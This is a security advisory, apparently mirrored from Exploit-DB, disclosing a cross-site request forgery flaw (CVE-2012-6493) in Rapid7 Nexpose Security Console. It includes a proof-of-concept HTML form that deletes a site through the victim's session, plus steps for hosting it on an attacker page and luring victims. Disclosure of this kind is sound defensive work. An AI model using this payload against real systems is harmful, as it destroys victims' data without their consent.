Nexpose Security Console – Cross-Site Request Forgery

  • 作者： Robert Gilbert
    日期： 2013-01-06
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/23924/
  • Product: Nexpose Security Console
Vendor: Rapid7
Version: < 5.5.3
Tested Version: 5.5.1
Vendor Notified Date: December 19, 2012
Release Date: January 2, 2013
Risk: High
Authentication: None required
Remote: Yes

Description:
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose 
Security Console 5.5.3 and below allow remote attackers to submit 
actions on a legitimate user’s behalf.
By not properly checking each URL, an attacker can execute requests on 
behalf of a legitimate user.
If an authenticated user is tricked into visiting a specially crafted 
page, it may be possible to perform user-initiated actions on the web 
application using the victim’s established session.
Successful exploitation of this vulnerability resulted in deleting scan 
data and sites during the proof-of-concept.

Exploit steps for proof-of-concept:
1.Create an external site/page: 
http://attackersite.com/nexpose-csrf.htm that contains:
[code]
<html>
 <!-- Nexpose CSRF PoC -->
 <body>
 <form 
action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1" 
method="POST"enctype="multipart/form-data">
 <input type="submit" value="delete site" />
 </form>
 <script>
 //document.forms[0].submit(); //uncomment to auto-submit
 </script>
 </body>
</html>
[/code]
2.Lure victim to http://attackersite.com/nexpose-csrf.htm.
3.Site with ID 1 is deleted when form is submitted.

Vendor Notified: Yes
Vendor Response: Quickly escalated and resolved.
Vendor Update: Remediated in 5.5.4.

Reference:
CVE-2012-6493
https://community.rapid7.com/docs/DOC-2065#release5
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Credit:
Robert Gilbert
HALOCK Security Labs